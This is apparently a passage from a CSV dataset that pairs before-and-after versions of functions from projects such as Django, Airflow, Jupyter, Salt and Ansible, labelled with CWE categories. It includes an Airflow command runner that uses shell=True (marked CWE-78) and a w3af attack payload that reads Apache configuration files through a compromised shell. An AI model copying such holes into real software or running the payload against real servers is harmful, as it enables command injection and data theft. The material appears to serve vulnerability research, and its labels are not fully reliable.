        'filter-phone2numeric02': ('{% autoescape off %}{{ a|phone2numeric }} {{ b|phone2numeric }}{% endautoescape %}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""<1-800-2255-63> <1-800-2255-63>""),
        'filter-phone2numeric03': ('{{ a|phone2numeric }}', {""a"": ""How razorback-jumping frogs can level six piqued gymnasts!""}, ""469 729672225-5867464 37647 226 53835 749 747833 49662787!""),

        # Ensure iriencode keeps safe strings:
        'filter-iriencode01': ('{{ url|iriencode }}', {'url': '?test=1&me=2'}, '?test=1&amp;me=2'),
        'filter-iriencode02': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': '?test=1&me=2'}, '?test=1&me=2'),
        'filter-iriencode03': ('{{ url|iriencode }}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),
        'filter-iriencode04': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),

        # urlencode
        'filter-urlencode01': ('{{ url|urlencode }}', {'url': '/test&""/me?/'}, '/test%26%22/me%3F/'),
        'filter-urlencode02': ('/test/{{ urlbit|urlencode:"""" }}/', {'urlbit': 'escape/slash'}, '/test/escape%2Fslash/'),

        # Chaining a bunch of safeness-preserving filters should not alter
        # the safe status either way.
        'chaining01': ('{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A &lt; b . A < b ""),
        'chaining02': ('{% autoescape off %}{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A < b . A < b ""),

        # Using a filter that forces a string back to unsafe:
        'chaining03': ('{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A &lt; .A < ""),
        'chaining04': ('{% autoescape off %}{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A < .A < ""),

        # Using a filter that forces safeness does not lead to double-escaping
        'chaining05': ('{{ a|escape|capfirst }}', {""a"": ""a < b""}, ""A &lt; b""),
        'chaining06': ('{% autoescape off %}{{ a|escape|capfirst }}{% endautoescape %}', {""a"": ""a < b""}, ""A &lt; b""),

        # Force to safe, then back (also showing why using force_escape too
        # early in a chain can lead to unexpected results).
        'chaining07': ('{{ a|force_escape|cut:"";"" }}', {""a"": ""a < b""}, ""a &amp;lt b""),
        'chaining08': ('{% autoescape off %}{{ a|force_escape|cut:"";"" }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt b""),
        'chaining09': ('{{ a|cut:"";""|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining10': ('{% autoescape off %}{{ a|cut:"";""|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining11': ('{{ a|cut:""b""|safe }}', {""a"": ""a < b""}, ""a < ""),
        'chaining12': ('{% autoescape off %}{{ a|cut:""b""|safe }}{% endautoescape %}', {""a"": ""a < b""}, ""a < ""),
        'chaining13': ('{{ a|safe|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining14': ('{% autoescape off %}{{ a|safe|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),

        # Filters decorated with stringfilter still respect is_safe.
        'autoescape-stringfilter01': (r'{{ unsafe|capfirst }}', {'unsafe': UnsafeClass()}, 'You &amp; me'),
        'autoescape-stringfilter02': (r'{% autoescape off %}{{ unsafe|capfirst }}{% endautoescape %}', {'unsafe': UnsafeClass()}, 'You & me'),
        'autoescape-stringfilter03': (r'{{ safe|capfirst }}', {'safe': SafeClass()}, 'You &gt; me'),
        'autoescape-stringfilter04': (r'{% autoescape off %}{{ safe|capfirst }}{% endautoescape %}', {'safe': SafeClass()}, 'You &gt; me'),

        'escapejs01': (r'{{ a|escapejs }}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),
        'escapejs02': (r'{% autoescape off %}{{ a|escapejs }}{% endautoescape %}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),


        # length filter.
        'length01': ('{{ list|length }}', {'list': ['4', None, True, {}]}, '4'),
        'length02': ('{{ list|length }}', {'list': []}, '0'),
        'length03': ('{{ string|length }}', {'string': ''}, '0'),
        'length04': ('{{ string|length }}', {'string': 'django'}, '6'),
        # Invalid uses that should fail silently.
        'length05': ('{{ int|length }}', {'int': 7}, ''),
        'length06': ('{{ None|length }}', {'None': None}, ''),

        # length_is filter.
        'length_is01': ('{% if some_list|length_is:""4"" %}Four{% endif %}', {'some_list': ['4', None, True, {}]}, 'Four'),
        'length_is02': ('{% if some_list|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'some_list': ['4', None, True, {}, 17]}, 'Not Four'),
        'length_is03': ('{% if mystring|length_is:""4"" %}Four{% endif %}', {'mystring': 'word'}, 'Four'),
        'length_is04': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': 'Python'}, 'Not Four'),
        'length_is05': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': ''}, 'Not Four'),
        'length_is06': ('{% with var|length as my_length %}{{ my_length }}{% endwith %}', {'var': 'django'}, '6'),
        # Boolean return value from length_is should not be coerced to a string
        'length_is07': (r'{% if ""X""|length_is:0 %}Length is 0{% else %}Length not 0{% endif %}', {}, 'Length not 0'),
        'length_is08': (r'{% if ""X""|length_is:1 %}Length is 1{% else %}Length not 1{% endif %}', {}, 'Length is 1'),
        # Invalid uses that should fail silently.
        'length_is09': ('{{ var|length_is:""fish"" }}', {'var': 'django'}, ''),
        'length_is10': ('{{ int|length_is:""1"" }}', {'int': 7}, ''),
        'length_is11': ('{{ none|length_is:""1"" }}', {'none': None}, ''),

        'join01': (r'{{ a|join:"", "" }}', {'a': ['alpha', 'beta & me']}, 'alpha, beta &amp; me'),
        'join02': (r'{% autoescape off %}{{ a|join:"", "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha, beta & me'),
        'join03': (r'{{ a|join:"" &amp; "" }}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta &amp; me'),
        'join04': (r'{% autoescape off %}{{ a|join:"" &amp; "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta & me'),

        # Test that joining with unsafe joiners don't result in unsafe strings (#11377)
        'join05': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join06': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),
        'join07': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join08': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),

        'date01': (r'{{ d|date:""m"" }}', {'d': datetime(2008, 1, 1)}, '01'),
        'date02': (r'{{ d|date }}', {'d': datetime(2008, 1, 1)}, 'Jan. 1, 2008'),
        #Ticket 9520: Make sure |date doesn't blow up on non-dates
        'date03': (r'{{ d|date:""m"" }}', {'d': 'fail_string'}, ''),
        # ISO date formats
        'date04': (r'{{ d|date:""o"" }}', {'d': datetime(2008, 12, 29)}, '2009'),
        'date05': (r'{{ d|date:""o"" }}', {'d': datetime(2010, 1, 3)}, '2009'),
        # Timezone name
        'date06': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12, tzinfo=timezone.get_fixed_timezone(30))}, '+0030'),
        'date07': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12)}, ''),
        # Ticket 19370: Make sure |date doesn't blow up on a midnight time object
        'date08': (r'{{ t|date:""H:i"" }}', {'t': time(0, 1)}, '00:01'),
        'date09': (r'{{ t|date:""H:i"" }}', {'t': time(0, 0)}, '00:00'),
        # Ticket 20693: Add timezone support to built-in time template filter
        'time01': (r'{{ dt|time:""e:O:T:Z"" }}', {'dt': now_tz_i}, '+0315:+0315:+0315:11700'),
        'time02': (r'{{ dt|time:""e:T"" }}', {'dt': now}, ':' + now_tz.tzinfo.tzname(now_tz)),
        'time03': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0, tzinfo=timezone.get_fixed_timezone(30))}, '4 a.m.::::'),
        'time04': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0)}, '4 a.m.::::'),
        'time05': (r'{{ d|time:""P:e:O:T:Z"" }}', {'d': today}, ''),
        'time06': (r'{{ obj|time:""P:e:O:T:Z"" }}', {'obj': 'non-datetime-value'}, ''),

         # Tests for #11687 and #16676
         'add01': (r'{{ i|add:""5"" }}', {'i': 2000}, '2005'),
         'add02': (r'{{ i|add:""napis"" }}', {'i': 2000}, ''),
         'add03': (r'{{ i|add:16 }}', {'i': 'not_an_int'}, ''),
         'add04': (r'{{ i|add:""16"" }}', {'i': 'not_an_int'}, 'not_an_int16'),
         'add05': (r'{{ l1|add:l2 }}', {'l1': [1, 2], 'l2': [3, 4]}, '[1, 2, 3, 4]'),
         'add06': (r'{{ t1|add:t2 }}', {'t1': (3, 4), 't2': (1, 2)}, '(3, 4, 1, 2)'),
         'add07': (r'{{ d|add:t }}', {'d': date(2000, 1, 1), 't': timedelta(10)}, 'Jan. 11, 2000'),
    }"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/payloads/payloads/apache_config_files.py,0,"def api_read(self):
        result = {}
        result['apache_config'] = {}
        files = []

        files.append('apache2.conf')
        files.append('httpd.conf')
        files.append('magic')
        files.append('envvars')
        files.append('ports.conf')
        files.append('conf.d/security')
        files.append('sites-available/default')
        files.append('sites-available/default-ssl')
        files.append('conf.d/subversion.conf')
        files.append('workers.properties')

        apache_dir = self.exec_payload('apache_config_directory')['apache_directory']
        if apache_dir:
            for dir in apache_dir:
                for file in files:
                    content = self.shell.read(dir+file)
                    if content:
                         result['apache_config'].update({dir+file:content})
                         
                        #result.append(file_crawler.get_files(self, self.shell.read(dir+file)))
                if kb.kb.getData('passwordProfiling', 'passwordProfiling'):
                    for profile in kb.kb.getData('passwordProfiling', 'passwordProfiling'):
                        profile_content = self.shell.read(dir+'sites-available/'+profile.lower())
                        if profile_content:
                             result['apache_config'].update({dir+'sites-available/'+profile.lower():profile_content})

        return result",,andresriancho/w3af,f7f9c1bfc9051276ac8724bc6e5d1314f1c7631d,"def api_read(self):
        result = {}
        result['apache_config'] = {}
        files = []

        files.append('apache2.conf')
        files.append('httpd.conf')
        files.append('magic')
        files.append('envvars')
        files.append('ports.conf')
        files.append('conf.d/security')
        files.append('sites-available/default')
        files.append('sites-available/default-ssl')
        files.append('conf.d/subversion.conf')

        apache_dir = self.exec_payload('apache_config_directory')['apache_directory']
        if apache_dir:
            for dir in apache_dir:
                for file in files:
                    content = self.shell.read(dir+file)
                    if content:
                         result['apache_config'].update({dir+file:content})
                         
                        #result.append(file_crawler.get_files(self, self.shell.read(dir+file)))
                if kb.kb.getData('passwordProfiling', 'passwordProfiling'):
                    for profile in kb.kb.getData('passwordProfiling', 'passwordProfiling'):
                        profile_content = self.shell.read(dir+'sites-available/'+profile.lower())
                        if profile_content:
                             result['apache_config'].update({dir+'sites-available/'+profile.lower():profile_content})

        return result"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/widgets/widget.py,0,"def _get_nargs(self, callback):
        """"""Gets the number of arguments in a callback""""""
        if callable(callback):
            argspec = inspect.getargspec(callback)
            if argspec[0] is None:
                nargs = 0
            elif argspec[3] is None:
                nargs = len(argspec[0]) # Only count vargs!
            else:
                nargs = len(argspec[0]) - len(argspec[3]) # Subtract number of defaults.

            # Bound methods have an additional 'self' argument
            if isinstance(callback, types.MethodType):
                nargs -= 1
            return nargs
        else:
            raise TypeError('Callback must be callable.')",,jupyter/notebook,629d65da89b1bcd474f61c4b1fdd6e9004c0a4c8,"def _get_nargs(self, callback):
        """"""Gets the number of arguments in a callback""""""
        if callable(callback):
            argspec = inspect.getargspec(callback)
            nargs = len(argspec[1]) # Only count vargs!

            # Bound methods have an additional 'self' argument
            if isinstance(callback, types.MethodType):
                nargs -= 1
            return nargs
        else:
            raise TypeError('Callback must be callable.')"
,UNKNOWN,UNKNOWN,airflow/executors/celery_executor.py,1,"def execute_command(command):
    log = LoggingMixin().log
    log.info(""Executing command in Celery: %s"", command)
    env = os.environ.copy()
    try:
        subprocess.check_call(command, stderr=subprocess.STDOUT,
                              close_fds=True, env=env)
    except subprocess.CalledProcessError as e:
        log.exception('execute_command encountered a CalledProcessError')
        log.error(e.output)

        raise AirflowException('Celery command failed')",CWE-78,apache/airflow,ad2bc2c3400bd55fa560f43a718d0db9cc9abbdc,"def execute_command(command):
    log = LoggingMixin().log
    log.info(""Executing command in Celery: %s"", command)
    env = os.environ.copy()
    try:
        subprocess.check_call(command, shell=True, stderr=subprocess.STDOUT,
                              close_fds=True, env=env)
    except subprocess.CalledProcessError as e:
        log.exception('execute_command encountered a CalledProcessError')
        log.error(e.output)

        raise AirflowException('Celery command failed')"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        cursor.execute(
            ""PRAGMA table_info(%s)"" % self.connection.ops.quote_name(table_name)
        )
        table_info = cursor.fetchall()
        if not table_info:
            raise DatabaseError(f""Table {table_name} does not exist (empty pragma)."")
        collations = self._get_column_collations(cursor, table_name)
        json_columns = set()
        if self.connection.features.can_introspect_json_field:
            for line in table_info:
                column = line[1]
                json_constraint_sql = '%%json_valid(""%s"")%%' % column
                has_json_constraint = cursor.execute(
                    """"""
                    SELECT sql
                    FROM sqlite_master
                    WHERE
                        type = 'table' AND
                        name = %s AND
                        sql LIKE %s
                """""",
                    [table_name, json_constraint_sql],
                ).fetchone()
                if has_json_constraint:
                    json_columns.add(column)
        return [
            FieldInfo(
                name,
                data_type,
                get_field_size(data_type),
                None,
                None,
                None,
                not notnull,
                default,
                collations.get(name),
                pk == 1,
                name in json_columns,
            )
            for cid, name, data_type, notnull, default, pk in table_info
        ]",CWE-89,django/django,cbc0fb370583c6371eb2901f752ce286f008a6a4,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        cursor.execute(
            ""PRAGMA table_info(%s)"" % self.connection.ops.quote_name(table_name)
        )
        table_info = cursor.fetchall()
        if not table_info:
            raise DatabaseError(f""Table {table_name} does not exist (empty pragma)."")
        collations = self._get_column_collations(cursor, table_name)
        json_columns = set()
        if self.connection.features.can_introspect_json_field:
            for line in table_info:
                column = line[1]
                json_constraint_sql = '%%json_valid(""%s"")%%' % column
                has_json_constraint = cursor.execute(
                    """"""
                    SELECT sql
                    FROM sqlite_master
                    WHERE
                        type = 'table' AND
                        name = %s AND
                        sql LIKE %s
                """""",
                    [table_name, json_constraint_sql],
                ).fetchone()
                if has_json_constraint:
                    json_columns.add(column)
        return [
            FieldInfo(
                name,
                data_type,
                None,
                get_field_size(data_type),
                None,
                None,
                not notnull,
                default,
                collations.get(name),
                pk == 1,
                name in json_columns,
            )
            for cid, name, data_type, notnull, default, pk in table_info
        ]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/fields/subclassing.py,0,"def __get__(self, obj, type=None):
        if obj is None:
            raise AttributeError('Can only be accessed via an instance.')
        return obj.__dict__[self.field.name]",CWE-Unknown,django/django,260f9c51127702afcb1d2c669e0ec1855bdea58c,"def __get__(self, obj, type=None):
        if obj is None:
            raise AttributeError('Can only be accessed via an instance.')
        return self.value"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,0,"def __init__(self, model, admin_site):
        self.model = model
        self.opts = model._meta
        self.admin_site = admin_site
        super(ModelAdmin, self).__init__()",CWE-Unknown,django/django,c2e19e26bc33d34eff57079bd1a6838ff64d9e81,"def __init__(self, model, admin_site):
        self.model = model
        self.opts = model._meta
        self.admin_site = admin_site
        super(ModelAdmin, self).__init__()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/notebookapp.py,0,"def start(self):
        """""" Start the IPython Notebook server app, after initialization
        
        This method takes no arguments so all configuration and initialization
        must be done prior to calling this method.""""""
        ip = self.ip if self.ip else '[all ip addresses on your system]'
        proto = 'https' if self.certfile else 'http'
        info = self.log.info
        self._url = ""%s://%s:%i%s"" % (proto, ip, self.port,
                                      self.base_project_url)
        for line in self.notebook_info().split(""\n""):
            info(line)
        info(""Use Control-C to stop this server and shut down all kernels (twice to skip confirmation)."")

        if self.open_browser or self.file_to_run:
            ip = self.ip or localhost()
            try:
                browser = webbrowser.get(self.browser or None)
            except webbrowser.Error as e:
                self.log.warn('No web browser found: %s.' % e)
                browser = None
            
            nbdir = os.path.abspath(self.notebook_manager.notebook_dir)
            f = self.file_to_run
            if f:
                if f.startswith(nbdir):
                    f = f[len(nbdir):]
                else:
                    self.log.warn(
                        ""Probably won't be able to open notebook %s ""
                        ""because it is not in notebook_dir %s"",
                        f, nbdir,
                    )

            if os.path.isfile(self.file_to_run):
                url = url_path_join('notebooks', f)
            else:
                url = url_path_join('tree', f)
            if browser:
                b = lambda : browser.open(""%s://%s:%i%s%s"" % (proto, ip,
                    self.port, self.base_project_url, url), new=2)
                threading.Thread(target=b).start()
        try:
            ioloop.IOLoop.instance().start()
        except KeyboardInterrupt:
            info(""Interrupted..."")
        finally:
            self.cleanup_kernels()",,jupyter/notebook,06e23487cc7bd4671945345e28ea5e28d90ac03c,"def start(self):
        """""" Start the IPython Notebook server app, after initialization
        
        This method takes no arguments so all configuration and initialization
        must be done prior to calling this method.""""""
        ip = self.ip if self.ip else '[all ip addresses on your system]'
        proto = 'https' if self.certfile else 'http'
        info = self.log.info
        self._url = ""%s://%s:%i%s"" % (proto, ip, self.port,
                                      self.base_project_url)
        for line in self.notebook_info().split(""\n""):
            info(line)
        info(""Use Control-C to stop this server and shut down all kernels (twice to skip confirmation)."")

        if self.open_browser or self.file_to_run:
            ip = self.ip or localhost()
            try:
                browser = webbrowser.get(self.browser or None)
            except webbrowser.Error as e:
                self.log.warn('No web browser found: %s.' % e)
                browser = None
            
            nbdir = os.path.abspath(self.notebook_manager.notebook_dir)
            f = self.file_to_run
            if f and f.startswith(nbdir):
                f = f[len(nbdir):]
            else:
                self.log.warn(
                    ""Probably won't be able to open notebook %s ""
                    ""because it is not in notebook_dir %s"",
                    f, nbdir,
                )

            if os.path.isfile(self.file_to_run):
                url = url_path_join('notebooks', f)
            else:
                url = url_path_join('tree', f)
            if browser:
                b = lambda : browser.open(""%s://%s:%i%s%s"" % (proto, ip,
                    self.port, self.base_project_url, url), new=2)
                threading.Thread(target=b).start()
        try:
            ioloop.IOLoop.instance().start()
        except KeyboardInterrupt:
            info(""Interrupted..."")
        finally:
            self.cleanup_kernels()"
,UNKNOWN,UNKNOWN,salt/states/file.py,1,"def _check_directory(
    name,
    user=None,
    group=None,
    recurse=False,
    dir_mode=None,
    file_mode=None,
    clean=False,
    require=False,
    exclude_pat=None,
    max_depth=None,
    follow_symlinks=False,
    children_only=False,
):
    """"""
    Check what changes need to be made on a directory
    """"""
    changes = {}
    if recurse or clean:
        assert max_depth is None or not clean
        # walk path only once and store the result
        walk_l = list(_depth_limited_walk(name, max_depth))
        # root: (dirs, files) structure, compatible for python2.6
        walk_d = {}
        for i in walk_l:
            walk_d[i[0]] = (i[1], i[2])

    if recurse:
        try:
            recurse_set = _get_recurse_set(recurse)
        except (TypeError, ValueError) as exc:
            return False, ""{}"".format(exc), changes
        if ""user"" not in recurse_set:
            user = None
        if ""group"" not in recurse_set:
            group = None
        if ""mode"" not in recurse_set:
            dir_mode = None
            file_mode = None

        check_files = ""ignore_files"" not in recurse_set
        check_dirs = ""ignore_dirs"" not in recurse_set
        for root, dirs, files in walk_l:
            if check_files:
                for fname in files:
                    fchange = {}
                    path = os.path.join(root, fname)
                    stats = __salt__[""file.stats""](path, None, follow_symlinks)
                    if (
                        user is not None
                        and not user == stats.get(""user"")
                        and not user == stats.get(""uid"")
                    ):
                        fchange[""user""] = user
                    if (
                        group is not None
                        and not group == stats.get(""group"")
                        and not group == stats.get(""gid"")
                    ):
                        fchange[""group""] = group
                    smode = salt.utils.files.normalize_mode(stats.get(""mode""))
                    file_mode = salt.utils.files.normalize_mode(file_mode)
                    if (
                        file_mode is not None
                        and file_mode != smode
                        and (
                            # Ignore mode for symlinks on linux based systems where we can not
                            # change symlink file permissions
                            follow_symlinks
                            or stats.get(""type"") != ""link""
                            or not salt.utils.platform.is_linux()
                        )
                    ):
                        fchange[""mode""] = file_mode
                    if fchange:
                        changes[path] = fchange
            if check_dirs:
                for name_ in dirs:
                    path = os.path.join(root, name_)
                    fchange = _check_dir_meta(
                        path, user, group, dir_mode, follow_symlinks
                    )
                    if fchange:
                        changes[path] = fchange
    # Recurse skips root (we always do dirs, not root), so check root unless
    # children_only is specified:
    if not children_only:
        fchange = _check_dir_meta(name, user, group, dir_mode, follow_symlinks)
        if fchange:
            changes[name] = fchange
    if clean:
        keep = _gen_keep_files(name, require, walk_d)

        def _check_changes(fname):
            path = os.path.join(root, fname)
            if path in keep:
                return {}
            else:
                if not salt.utils.stringutils.check_include_exclude(
                    os.path.relpath(path, name), None, exclude_pat
                ):
                    return {}
                else:
                    return {path: {""removed"": ""Removed due to clean""}}

        for root, dirs, files in walk_l:
            for fname in files:
                changes.update(_check_changes(fname))
            for name_ in dirs:
                changes.update(_check_changes(name_))

    if not os.path.isdir(name):
        changes[name] = {""directory"": ""new""}
    if changes:
        comments = [""The following files will be changed:\n""]
        for fn_ in changes:
            for key, val in changes[fn_].items():
                comments.append(""{}: {} - {}\n"".format(fn_, key, val))
        return None, """".join(comments), changes
    return True, ""The directory {} is in the correct state"".format(name), changes",CWE-703,saltstack/salt,e84c0473293da7862fa2f015fe695ea49919de96,"def _check_directory(
    name,
    user=None,
    group=None,
    recurse=False,
    dir_mode=None,
    file_mode=None,
    clean=False,
    require=False,
    exclude_pat=None,
    max_depth=None,
    follow_symlinks=False,
):
    """"""
    Check what changes need to be made on a directory
    """"""
    changes = {}
    if recurse or clean:
        assert max_depth is None or not clean
        # walk path only once and store the result
        walk_l = list(_depth_limited_walk(name, max_depth))
        # root: (dirs, files) structure, compatible for python2.6
        walk_d = {}
        for i in walk_l:
            walk_d[i[0]] = (i[1], i[2])

    if recurse:
        try:
            recurse_set = _get_recurse_set(recurse)
        except (TypeError, ValueError) as exc:
            return False, ""{}"".format(exc), changes
        if ""user"" not in recurse_set:
            user = None
        if ""group"" not in recurse_set:
            group = None
        if ""mode"" not in recurse_set:
            dir_mode = None
            file_mode = None

        check_files = ""ignore_files"" not in recurse_set
        check_dirs = ""ignore_dirs"" not in recurse_set
        for root, dirs, files in walk_l:
            if check_files:
                for fname in files:
                    fchange = {}
                    path = os.path.join(root, fname)
                    stats = __salt__[""file.stats""](path, None, follow_symlinks)
                    if (
                        user is not None
                        and not user == stats.get(""user"")
                        and not user == stats.get(""uid"")
                    ):
                        fchange[""user""] = user
                    if (
                        group is not None
                        and not group == stats.get(""group"")
                        and not group == stats.get(""gid"")
                    ):
                        fchange[""group""] = group
                    smode = salt.utils.files.normalize_mode(stats.get(""mode""))
                    file_mode = salt.utils.files.normalize_mode(file_mode)
                    if (
                        file_mode is not None
                        and file_mode != smode
                        and (
                            # Ignore mode for symlinks on linux based systems where we can not
                            # change symlink file permissions
                            follow_symlinks
                            or stats.get(""type"") != ""link""
                            or not salt.utils.platform.is_linux()
                        )
                    ):
                        fchange[""mode""] = file_mode
                    if fchange:
                        changes[path] = fchange
            if check_dirs:
                for name_ in dirs:
                    path = os.path.join(root, name_)
                    fchange = _check_dir_meta(
                        path, user, group, dir_mode, follow_symlinks
                    )
                    if fchange:
                        changes[path] = fchange
    # Recurse skips root (we always do dirs, not root), so always check root:
    fchange = _check_dir_meta(name, user, group, dir_mode, follow_symlinks)
    if fchange:
        changes[name] = fchange
    if clean:
        keep = _gen_keep_files(name, require, walk_d)

        def _check_changes(fname):
            path = os.path.join(root, fname)
            if path in keep:
                return {}
            else:
                if not salt.utils.stringutils.check_include_exclude(
                    os.path.relpath(path, name), None, exclude_pat
                ):
                    return {}
                else:
                    return {path: {""removed"": ""Removed due to clean""}}

        for root, dirs, files in walk_l:
            for fname in files:
                changes.update(_check_changes(fname))
            for name_ in dirs:
                changes.update(_check_changes(name_))

    if not os.path.isdir(name):
        changes[name] = {""directory"": ""new""}
    if changes:
        comments = [""The following files will be changed:\n""]
        for fn_ in changes:
            for key, val in changes[fn_].items():
                comments.append(""{}: {} - {}\n"".format(fn_, key, val))
        return None, """".join(comments), changes
    return True, ""The directory {} is in the correct state"".format(name), changes"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,0,"def refresh_from_task(self, task, pool_override=None):
        """"""
        Copy common attributes from the given task.

        :param task: The task object to copy from
        :type task: airflow.models.BaseOperator
        :param pool_override: Use the pool_override instead of task's pool
        :type pool_override: str
        """"""
        self.queue = task.queue
        self.pool = pool_override or task.pool
        self.pool_slots = task.pool_slots
        self.priority_weight = task.priority_weight_total
        self.run_as_user = task.run_as_user
        self.max_tries = task.retries
        self.executor_config = task.executor_config
        self.operator = task.task_type",CWE-Unknown,apache/airflow,a22dba100401f934f907eab150f12efaae428819,"def refresh_from_task(self, task, pool_override=None):
        """"""
        Copy common attributes from the given task.

        :param task: The task object to copy from
        :type task: airflow.models.BaseOperator
        :param pool_override: Use the pool_override instead of task's pool
        :type pool_override: str
        """"""
        self.queue = task.queue
        self.pool = pool_override or task.pool
        self.pool_slots = task.pool_slots
        self.priority_weight = task.priority_weight_total
        self.run_as_user = task.run_as_user
        self.max_tries = task.retries
        self.executor_config = task.executor_config
        self.operator = task.__class__.__name__"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/state/test_state.py,1,"def test_catch_recurse(state, state_tree):
    """"""
    state.show_sls used to catch a recursive ref
    """"""
    sls_contents = """"""
    mysql:
      service:
        - running
        - require:
          - file: /etc/mysql/my.cnf

    /etc/mysql/my.cnf:
      file:
        - managed
        - source: salt://master.cnf
        - require:
          - service: mysql
    """"""
    with pytest.helpers.temp_file(""recurse-fail.sls"", sls_contents, state_tree):
        ret = state.sls(""recurse-fail"")
        assert ret.failed
        assert (
            'A recursive requisite was found, SLS ""recurse-fail"" ID ""/etc/mysql/my.cnf"" ID ""mysql""'
            in ret.errors
        )",CWE-703,saltstack/salt,0ff05246ffb1a910dcda0be6c45c068e92b06ec9,"def test_catch_recurse(state, state_tree):
    """"""
    state.show_sls used to catch a recursive ref
    """"""
    sls_contents = """"""
    mysql:
      service:
        - running
        - require:
          - file: /etc/mysql/my.cnf

    /etc/mysql/my.cnf:
      file:
        - managed
        - source: salt://master.cnf
        - require:
          - service: mysql
    """"""
    with pytest.helpers.temp_file(""recurse-fail.sls"", sls_contents, state_tree):
        ret = state.sls(""recurse-fail"")
        assert isinstance(ret, list)  # This is an error
        assert len(ret) == 1  # It only has one entry
        assert ""recursive"" in ret[0]"
,UNKNOWN,UNKNOWN,test/units/parsing/vault/test_vault.py,1,"def test_encrypt_decrypt_aes256_bad_hmac(self):

        self.v.cipher_name = 'AES256'
        # plaintext = ""Setec Astronomy""
        enc_data = '''$ANSIBLE_VAULT;1.1;AES256
33363965326261303234626463623963633531343539616138316433353830356566396130353436
3562643163366231316662386565383735653432386435610a306664636137376132643732393835
63383038383730306639353234326630666539346233376330303938323639306661313032396437
6233623062366136310a633866373936313238333730653739323461656662303864663666653563
3138'''
        b_data = to_bytes(enc_data, errors='strict', encoding='utf-8')
        b_data = self.v._split_header(b_data)
        unhex_data = binascii.unhexlify(b_data)
        lines = unhex_data.splitlines()
        # line 0 is salt, line 1 is hmac, line 2+ is ciphertext
        b_salt = lines[0]
        b_hmac = lines[1]
        b_ciphertext_data = b'\n'.join(lines[2:])

        b_ciphertext = binascii.unhexlify(b_ciphertext_data)
        # b_orig_ciphertext = b_ciphertext[:]

        # now muck with the text
        # b_munged_ciphertext = b_ciphertext[:10] + b'\x00' + b_ciphertext[11:]
        # b_munged_ciphertext = b_ciphertext
        # assert b_orig_ciphertext != b_munged_ciphertext

        b_ciphertext_data = binascii.hexlify(b_ciphertext)
        b_payload = b'\n'.join([b_salt, b_hmac, b_ciphertext_data])
        # reformat
        b_invalid_ciphertext = self.v._format_output(b_payload)

        # assert we throw an error
        self.v.decrypt(b_invalid_ciphertext)",CWE-703,ansible/ansible,652ddc407858cb5ee4b5a56fb87c271bf2fc873d,"def test_encrypt_decrypt_aes256_bad_hmac(self):

        self.v.cipher_name = 'AES256'
        # plaintext = ""Setec Astronomy""
        enc_data = '''$ANSIBLE_VAULT;1.1;AES256
33363965326261303234626463623963633531343539616138316433353830356566396130353436
3562643163366231316662386565383735653432386435610a306664636137376132643732393835
63383038383730306639353234326630666539346233376330303938323639306661313032396437
6233623062366136310a633866373936313238333730653739323461656662303864663666653563
3138'''
        b_data = to_bytes(enc_data, errors='strict', encoding='utf-8')
        b_data = self.v._split_header(b_data)
